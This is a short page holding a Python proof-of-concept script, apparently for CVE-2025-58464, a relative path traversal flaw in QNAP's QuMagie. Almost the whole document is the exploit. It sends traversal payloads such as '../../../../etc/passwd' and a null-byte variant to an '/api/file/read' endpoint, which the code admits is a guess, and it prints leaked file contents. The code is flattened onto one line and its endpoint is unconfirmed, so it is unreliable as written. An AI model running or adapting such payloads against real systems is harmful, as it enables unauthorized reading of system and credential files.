CVE-2025-58464 QuMagie 相对路径遍历漏洞

# CVE-2025-58464 Path Traversal PoC for QuMagie # Target: QNAP QuMagie Application # Vulnerability: Relative Path Traversal in file handling import requests import sys def test_path_traversal(target_url): """ Test for CVE-2025-58464 Path Traversal vulnerability in QuMagie """ # Common path traversal payloads payloads = [ "../../../../etc/passwd", "..\..\..\..\windows\win.ini", "....//....//....//....//etc/passwd", "../../../../../../etc/passwd%00.png" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*' } print(f"[*] Testing target: {target_url}") print(f"[*] CVE: CVE-2025-58464") print(f"[*] Vulnerability: Path Traversal in QuMagie\n") for payload in payloads: try: # Construct the exploit URL (adjust endpoint based on actual QuMagie API) exploit_url = f"{target_url}/api/file/read?path={payload}" print(f"[*] Testing payload: {payload}") response = requests.get(exploit_url, headers=headers, timeout=10, verify=False) if response.status_code == 200: if 'root:' in response.text or '[extensions]' in response.text: print(f"[!] VULNERABLE! Path traversal successful with payload: {payload}") print(f"[+] Response excerpt: {response.text[:200]}...") return True else: print(f"[-] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Testing complete. No obvious vulnerability detected.") return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] else: target = 'https://qnap-nas.local:8080' test_path_traversal(target)